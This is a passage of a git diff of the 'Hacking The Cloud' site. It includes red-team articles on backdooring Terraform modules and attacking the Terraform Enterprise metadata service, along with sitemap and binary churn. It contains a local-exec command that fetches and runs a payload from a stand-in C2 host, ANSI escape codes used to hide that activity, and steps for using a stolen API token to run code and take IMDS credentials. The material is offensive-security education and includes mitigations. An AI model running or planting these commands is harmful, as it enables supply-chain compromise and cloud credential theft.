      resource \"null_resource\" \"hypothetical_ec2_instance\" {\n}\n\nresource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload\"\n  }\n}\n

      In this example, we are using a local-exec provisioner to run shell commands. If we were to backdoor a module or git repository storing Terraform configurations, and a developer were to download them and run them on their workstation, this would run the shell commands on their workstation.

      Tip

      As an alternative to local-exec, you can also use external_provider.

      The problem is that this output would get displayed to the user, for example:

      To solve this, we can use ANSI escape codes to modify this output. It is worth noting that the specific sequences we will need to use will depend on the terminal type the victim is using. The following example is using gnome-terminal on Ubuntu.

      \\033[2K # Clears the current line\n\\033[A  # Moves the cursor to the previous line\n

      So, we can modify our payload to the following to hide the malicious activity.

      main.tf
      resource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload; echo -e '\\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A'\"\n  }\n}\n

      And this is the output:

      "},{"location":"terraform/terraform_enterprise_metadata_service/","title":"Terraform Enterprise: Attack the Metadata Service","text":"

      Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

      If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

      \"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data\" (source)

      Note

      While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#remote-code-execution","title":"Remote (Code) Execution","text":"

      For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

      An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in \"disposable virtual machines\". In Terraform Enterprise however, it takes place in \"disposable Docker containers\".

      This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

      Note

      It is possible to disable Remote Execution via a configuration however this is discouraged. \"Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications.\"

      "},{"location":"terraform/terraform_enterprise_metadata_service/#docker-containers-and-metadata-services","title":"Docker Containers and Metadata Services","text":"

      Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

      Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

      "},{"location":"terraform/terraform_enterprise_metadata_service/#attack-prevention","title":"Attack Prevention","text":"

      It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

      The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

      Note

      Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#walkthrough","title":"Walkthrough","text":"

      Warning

      This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

      Note

      If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#acquire-a-terraform-api-token","title":"Acquire a Terraform API Token","text":"

      To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

      As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#identify-the-organization-and-workspace-names","title":"Identify the Organization and Workspace Names","text":"

      With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

      curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations | jq\n

      Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization id we gathered in the previous step.

      curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations/<Organization ID>/workspaces | jq\n

      "},{"location":"terraform/terraform_enterprise_metadata_service/#configure-the-remote-backend","title":"Configure the Remote Backend","text":"

      Now that we have the organization and workspace id's from the previous step, we can configure the remote backend. To do this, you can use this example as a template with one exception. We will add a hostname value which is the hostname of the Terraform Enterprise instance. You can store this in a file named backend_config.tf. backend_config.tf

      terraform {\n  backend \"remote\" {\n    hostname = \"{{TFE_HOSTNAME}}\"\n    organization = \"{{ORGANIZATION_NAME}}\"\n\n    workspaces {\n      name = \"{{WORKSPACE_NAME}}\"\n    }\n  }\n}\n

      "},{"location":"terraform/terraform_enterprise_metadata_service/#initialize-the-backend","title":"Initialize the Backend","text":"

      With the backend configuration file created we can initialize the backend with the following command.

      terraform init --backend-config=\"token=$TFE_TOKEN\"\n

      If everything has worked as it should, you should get a Terraform has been successfully initialized notification. To test this, you can perform a terraform state list to list the various state objects.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#executing-code","title":"Executing Code","text":"

      Now that our backend has been properly configured and we can access the remote state, we can attempt to execute code. There are several ways this can be done (such as using a local-exec provisioner) however, for our purposes we will be using the External Provider.

      \"external is a special provider that exists to provide an interface between Terraform and external programs\".

      What this means is that we can execute code during the Terraform plan or apply operations by specifying a program or script to run.

      To do this, we will create an external provider in our existing backend_config.tf file (if you already have an existing Terraform project you can add this block to those existing files).

      backend_config.tf
      ...\n\ndata \"external\" \"external_provider\" {\n    program = [\"python3\", \"wrapper.py\"]\n}\n\noutput \"external_provider_example\" {\n    value = data.external.external_provider\n}\n

      You may be wondering what the wrapper.py file is. In order to use the external provider, we must \"implement a specific protocol\" (source), which is JSON. To do this, we will wrap the result of the code execution in JSON so it can be returned.

      Note

      The wrapper script is not strictly required if you aren't interested in getting the output. If your goal is simply to execute a C2 payload, you can include the binary in the project directory and then execute it.

      Wrapping the output in JSON allows us to get the response output.

      Our wrapper script looks like the following (feel free to change to your needs).

      wrapper.py
      import json\nimport os\n\nstream = os.popen('id')\noutput = stream.read()\nresult = { \"result\" : output }\n\nprint(json.dumps(result))\n
      "},{"location":"terraform/terraform_enterprise_metadata_service/#terraform-plan","title":"Terraform Plan","text":"

      Now that the wrapper script is created (and modified), we can execute code via terraform plan. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.

      Warning

      Upon executing terraform plan you may encounter errors for various reasons depending upon the remote state. Those errors will need to be handled on a case by case basis. Typically this involves modifying your .tf files to suit the remote state. This can typically be figured out based on the results of terraform state pull.

      From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.

      Note

      The results of this run are logged elsewhere. Please do not leak secrets or other sensitive information to parties who do not have a need for the information. A more efficient method would be to use a C2 platform such as Mythic (or even just a TLS encrypted reverse shell) to exfiltrate the credentials.

      "}]} \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index 5f4c8cb55..9ef42bbe5 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -2,302 +2,306 @@ https://hackingthe.cloud/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/capture_the_flag/cicdont/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/deprecated/whoami/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/enumeration/whoami/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ - 2024-11-27 + 2024-12-05 + + + https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + 2024-12-05 https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/azure/abusing-managed-identities/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/azure/anonymous-blob-access/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/azure/enum_email_addresses/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/azure/run-command-abuse/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/azure/soft-deleted-blobs/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/blog/2022_wrap-up/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/blog/2023_wrap-up/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/blog/v2_new_look/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/general-knowledge/default-account-names/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ - 2024-11-27 + 2024-12-05 https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ - 2024-11-27 + 2024-12-05 \ No newline at end of file diff --git a/sitemap.xml.gz b/sitemap.xml.gz index 3365dcc85966a0a1f24f9eafc1fa4c367835e5b6..a60062cade8c783bb2745099ab0997e077045b1e 100644 GIT binary patch literal 1391 zcmV-#1(5n5iwFn+?NDa||8r?{Wo=<_E_iKh0M%N-ZsRr(z3*29xiiitU7#(JEYL%5 z1&X3Q6Er!ZSyLp-8QSrFeTS6n-5@E@0)?pL5?P|e$C=^Gdm}x3ejfeR0W!K69r>Br6Hcs$;qBN$b}o0#ne^^Skw zWBANO)dx&R?eD=y{ZyZV{Ft56d!CMVaHD-JX7jMAm%kmYkj7}9?r!hC z6Cdxy?I#{GpPL@Pxjg?r&7_XFQHSX2a)ki`O>BpaEh-yR=p+&Z0;DxTqL_vDj)C<@ z#m{xaNqhyTV;G$64-5&E7kfCNC}BDcO9z%#iAn~^XXW6P-DsyxT-D1Vw#$hcK*b~($DMYEG4UVEL2w8q}oi7B+(f5RC9O}q5RU+sNgwh3>%GNtAl^c5^ ztH;fk&1`HY=nSSFgG|{4?UM3RYP5E zVIJw|BvXuD!m|cW@Q1b|56*)HTm#CMtq}Ym(b-T^PfW}c#0aE}A|(*>&=X86%V$?f zK&||Ap(7@*#;sw~GzQK91=qk9Wy*IACLYZNhTYdJR*l8XJjY^pQ+!p2_QV%++Nl6W zw(FeGnGQyV6;P7eLn9OiryoGH{^`mZ?qZTA6;S75af5Z_)mBDlSmhkC zsf;Qx-ixo=l4kar=Yc2{5lV>WfLc4GwaDJGt6)lV@Gj z_>I%B4p^o%2X64{?uF+=^R}$nM9$f{J6;QPu_3-_CZ6rw9pc>UN5>LAEWU}~z!M0VCM2fG zSgkdVCCr+xfBa3|j#b&KvL&H+$_4RfvDPnNv);f|Sn=$@`{qC1rOZh}hj(tTk+Jwy z+ONuiSh#u~;M^YITF;ctLn~q}nIWO%L^5z1p4u4{_s~CaTna4f+3a|~b~5T077mxb zI|rMxU}m;N3pWoYC?ST^7z+v}yjwB3b#WB!-QV;MOBute5IdNH^MIH$fT$i?J}xj0 zB-(c3ps4;>(g-}C-SAWIo0Nmq_9y@ZydC% zUnga$X;>J_tFHq3WrnxlOt0OQ_np2v`DaYCw7s-$JK}qxD|C`8cpF%8z1F*P!|C$D zLQv!45%wBYO#;(vqW)Meof8+NjnT3kY{U6Cl4AbUA0mP-+0jYV+Fdm(OKg^AO9EpZ xnAH&T`1ObtKe`s{i9`ON7FN)2A*!DYXWoYh|6@a}{X?LqzX9>?Q^2w<001;uvc>=a literal 1371 zcmV-h1*G~PiwFn+VMb>H|8r?{Wo=<_E_iKh0M%McZ{#)%zVELHa#tpg7JVR_1$yYM zKvA@3K_k&NJF?`8)J$f7eJR;9*&r#<0);i3OFVwapGb=QKFW`uo=1PRheQ~|$LqVB z+v_U`HaZOb$Ll|S|5<&1{psn$V@{rcujJ-HAFl`I>Br6Ha5&r$GK^-To0$3y*+G8L zW;waJz4_t#>BE)$l>z3X`uFIgeJZ1n3^N$Jlh^S8H`d4OHjkTf`OCWv@fh9H{q6lX z>h4b6ezzYQ-)+}gcxgM4y@7XE=4hiy}uwd^q{xd?tmL&+NR7BxiMML zXvP{fNTpCvOH{|n5NR9xfE;xuNcxNGav^Yvz9mG5WTVtnO<)r+X$*SGTaQ*799tqQ z$JLkBY+@#845l1|o)QL&lkwW5FfV`{@UJX!=Pm+ZijlQY8uT+d2{LMHydGFBNkgGi z1ywC~4I%krq$SQ_OPYf4!Xa`?Ol``{^W-D)lG(SJ3O6Zv$zXt_67)!%jxAB0(kD9M zk;q3q#ppFWTaX05uPbto9(tflKv}aDf$ub7AM(@^lkfyJ0vl)8D5BK01XIiM$yFN2 z8b4oXh{>CA>%=sbfeSz-HLymR@lAtC?v?^0?yD9n#u8?pV(y1IzKTOz;)`h-OaQ0r zbxG(#2cy6Wq}lAC5{f+ckU|-Hp*B;~%JfSi&!veV(%I?XfMON_qJAA3~ z{vE*O5p6~Z!0xE`*-Py=TlA&ciXb2}fWT*BB zB@n~hhE-B+>m$uE6&@<`Sj~E;LrCrIgr!lXPg@$uw1SVY{rb=!m27-c#5R8 zP!n7`SusUPs;`BruqT#sergPfGi#%C?iO7dS{Dz&Me9VG?Rd#aiQ-!=i)Q$KTu`xF~xSwxsM} zFsMIs-~07z);pN8sDuH$ul|!&Dx4%V*r$4nOa!B`{-PX6S*qtAPLf(`y-+p}wTRVZ zMod}~NhfJ|ZUJ!ILHopUF0i5j6UusRWYo_h9L~LJ2{zM%Ti6n>EVySVA%^1^Gbtgw zTQ$3Nbrf~KY~J@V&WS3d2Bwfapq31viig&Z3yK}9x|}2^ia*vgg1oQa$f)=Fkj$i3 z?f#$M{m|;&`+FVWpnZ(H6<^)k>Fw7ma#HotaBCbqlrMUcw%n}@<;_ldyUg$&oO!F- zc;Dztjeo|pNZWI}vmw4$y24KS0(Q^}uD5!3X*iuX`GXl(kFd9>N)nj2R@!4ZcTO`j3F0{stPJavJ6=008T#sF45w diff --git a/terraform/terraform_ansi_escape_evasion/index.html b/terraform/terraform_ansi_escape_evasion/index.html index 078c1836c..1fced90a3 100644 --- a/terraform/terraform_ansi_escape_evasion/index.html +++ b/terraform/terraform_ansi_escape_evasion/index.html @@ -1,4 +1,4 @@ - Terraform ANSI Escape - Hacking The Cloud

      Article by Nick Frichette

      Terraform ANSI Escape

      Original Research: Joern Schneeweisz

      When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

      Take for example the following Terraform code.

      main.tf
      resource "null_resource" "hypothetical_ec2_instance" {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Terraform ANSI Escape

      Original Research: Joern Schneeweisz

      When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

      Take for example the following Terraform code.

      main.tf
      resource "null_resource" "hypothetical_ec2_instance" {
       }
       
       resource "null_resource" "blah" {
      diff --git a/terraform/terraform_enterprise_metadata_service/index.html b/terraform/terraform_enterprise_metadata_service/index.html
      index a4c4e5bf0..0f3573437 100644
      --- a/terraform/terraform_enterprise_metadata_service/index.html
      +++ b/terraform/terraform_enterprise_metadata_service/index.html
      @@ -1,4 +1,4 @@
      - Terraform Enterprise: Attack the Metadata Service - Hacking The Cloud         

      Article by Nick Frichette

      Terraform Enterprise: Attack the Metadata Service

      Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

      If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

      "By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data" (source)

      Note

      While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

      Remote (Code) Execution

      For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

      An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in "disposable virtual machines". In Terraform Enterprise however, it takes place in "disposable Docker containers".

      This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

      Note

      It is possible to disable Remote Execution via a configuration however this is discouraged. "Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications."

      Docker Containers and Metadata Services

      Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

      Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

      Attack Prevention

      It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

      The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

      Note

      Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

      Walkthrough

      Warning

      This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

      Note

      If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

      Acquire a Terraform API Token

      To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

      As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

      Identify the Organization and Workspace Names

      With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

      curl -H "Authorization: Bearer $TFE_TOKEN" \
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette

      Terraform Enterprise: Attack the Metadata Service

      Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

      If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

      "By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data" (source)

      Note

      While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

      Remote (Code) Execution

      For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

      An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in "disposable virtual machines". In Terraform Enterprise however, it takes place in "disposable Docker containers".

      This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

      Note

      It is possible to disable Remote Execution via a configuration however this is discouraged. "Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications."

      Docker Containers and Metadata Services

      Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

      Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

      Attack Prevention

      It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

      The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

      Note

      Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

      Walkthrough

      Warning

      This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

      Note

      If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

      Acquire a Terraform API Token

      To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

      As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

      Identify the Organization and Workspace Names

      With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

      curl -H "Authorization: Bearer $TFE_TOKEN" \
       https://<TFE Instance>/api/v2/organizations | jq
       

      Getting the Organization

      Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization id we gathered in the previous step.

